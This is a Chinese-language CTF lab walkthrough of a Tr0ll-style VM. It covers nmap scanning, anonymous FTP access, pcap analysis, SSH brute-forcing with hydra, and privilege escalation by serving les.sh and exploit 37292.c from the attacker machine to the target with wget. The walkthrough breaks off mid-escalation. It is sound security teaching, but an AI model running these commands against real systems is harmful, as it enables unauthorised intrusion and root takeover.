一、打靶总流程
1.确定目标:
在本靶场中,确定目标就是使用nmap进行ip扫描,确定ip即为目标,只是针对此靶场而言。其他实战中确定目标的方式包括nmap进行扫描,但不局限于这个nmap。
2.信息收集:
比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这个靶场中比如信息收集包括查看源码,使用工具dirb等。
3.发现漏洞:
那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell。
4.漏洞利用:
漏洞利用就是使用漏洞拿到webshell。
5.权限提升:
权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。
二、打靶实例详解
文章内的靶机及脚本关注后私信获取
1.首先将靶机以及kali启动。
2.注意将两者的网络适配器均调整为NAT模式(确保二者是在同一个网段下)。
3.从kali中打开终端,执行ip a命令查看kali的ip地址。
4.使用nmap工具来确认要打的靶机的ip地址。
nmap -sP 192.168.190.0/24
在上面扫描出的ip地址中,.1、.2、.254、.138都是kali自身的一些ip地址,所以在此确认要进行攻击的靶机的ip地址为:192.168.190.139。
5.接下来继续进行信息收集,信息收集的方面以及方式有很多,这里信息收集是针对此靶机的信息收集。
6.扫描靶机开放了哪些端口。
nmap -p- 192.168.190.139
可以看到此靶机开放了21、22、80端口。其中:开放了21端口ftp,可以想到可能存在弱口令;开放了22端口ssh,可以想到对其进行爆破,然后看到80端口web端,可以对其进行常见漏洞测试。
7.对开放的各个端口的进行详细查看。
namp -p- -sS -sV -A 192.168.190.139
8. 在各个端口的详细信息中,可以看到21端口有个Anonymous登入成功过,因此可以尝试进行弱口令登入,账户名和密码都输入为Anonymous进行尝试。
9.尝试后发现确实存在弱口令问题,成功登录了进去。
10.登录进去之后执行ls命令查看当前目录下有哪些文件,来继续进行信息收集。
11.发现一个名为“lol.pcap”的文件,我们将其下载到我们本地。
12.发现是一个流量数据,因此使用wireshark工具对其进行打开。
13.打开后可以看到下面的内容。
14.我们随便点击一条流量数据,点击TCP追踪流,可以看到下面的信息,但是并没有发现有用的信息。
15. 将其关闭后我们可以看到软件上方的筛选信息,此时为0。
16.将其更改成1后再进行TCP流追踪,可以看到一个txt文件。
17.此时想到最开始进行扫描的时候,靶机存在开放的80端口,因此想到对其进行搜索,发现搜索结果返回404,说明搜索的结果是没用的。
18.回到流量工具内,将筛选框后面的1更改为2后继续追踪TCP流,根据其英文解释,可以想到“sup3rs3cr3tdirlol”可能是一个文件的路径,因此再次尝试进行拼接。
19.拼接后网页返回了下面的内容。
20.可以看到存在一个名为“roflmao”的文件,点击后将其下载下来。
21.来到下载路径下后,使用file命令或者strings命令将文件打开。
22.可以看到还原出来的内容里存在下面的一句话,因此我们尝试将获得的信息再次进行拼接后搜索。
23.再次进行拼接搜索后进入了下面的页面。
24.在这里点击“good_luck”后进入了到了下面的页面。
25. 在此页面内又发现了一个txt文件,点击后可以看到下面的内容,这里就相当于是一个用户名的字典,找到了有用的用户名。
26.在桌面上创建一个名为user的文档来存储这些用户名。
27.回到浏览器的前面的页面,发现存在一个可能存在密码的文件。
28.进入后又发现了一个txt文件,打开后可以看到下面的内容,因此可以想到密码有可能是Good_job_:)也有可能是Pass.txt。
29.将猜想的可能的密码也放入一个txt文档中当作密码的字典。
30. 来到桌面路径下使用hydra工具对其进行爆破,可以看到成功将用户名和密码爆破了出来。
hydra -L user -P password 192.168.190.139 ssh
31.接下来就使用爆破出来的用户名和密码进行登录,发现登录成功了。
ssh overflow@192.168.190.139
32.但是发现此时的权限是低权限:
- id为:0 root
- 0 < id < 1000 服务用户: 为服务提供权限
- 1000 <= id <=60000 普通
因此还要进行提权,下面是linux提权的几种方式:
- 内核提权---脏牛提权最为典型 ,内核提权一般包括3个步骤,信息收集发现版本号,找到相关版本的exp,使用找到的exp对目标发起攻击,完成提权功能。
- 利用suid提权
- 利用sudo提权
- mfs提权
- mysql提权 包括udf mof提权方式
33.发现进入的是一个伪终端,因此还要将其转换为真终端,执行下面的命令就将其变成了真终端。
python -c 'import pty; pty.spawn("/bin/bash")'
34.接下来开始提权。
35.首先在本地开启一个web服务。
python3 -m http.server 8083
35. 直接执行下面的命令将脚本文件下载到靶机上,但是发现下载失败了,因为此时权限不够。
wget http://192.168.190.138:8083/les.sh
36.切换到tmp目录下再次进行下载,发现下载成功了,因为其是一个临时文件,所以在此目录下的权限会高一些,因此就可以成功下载了。
37.下载完之后将web服务关闭,在终端内按CTRL+z。
38.给其添加一个权限后进行执行。
chmod +x les.sh
./les.sh
39. 这个脚本执行后会检测Linux内核版本存在哪些漏洞,检测出来的结果的颜色越深说明可以被利用的可能性越大。
40.接下来进行exp的利用就可以了。
41.下面演示第二种提权方式。
42.可以通过自己获取到Linux的版本信息,然后在kali内进行搜索。
uname -a
43.获取到版本信息后执行下面的命令在kali内进行搜索。
searchsploit Linux 4-Tr0ll 3.13.0
44.在此标红的两条就是满足条件的。
45.接下来的思路就是将本都的exp搞到靶机的服务器内进行运行,就可以实现提权的效果。
46.获取到exp的绝对路径。
locate linux/local/37292.c
47.将其存放在桌面。
cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/桌面
48.将其打开后就可以看到exp的内容。
49. 再从本地开启web服务。
50. 将exp下载到靶机。
wget http://192.168.190.138:8085/37292.c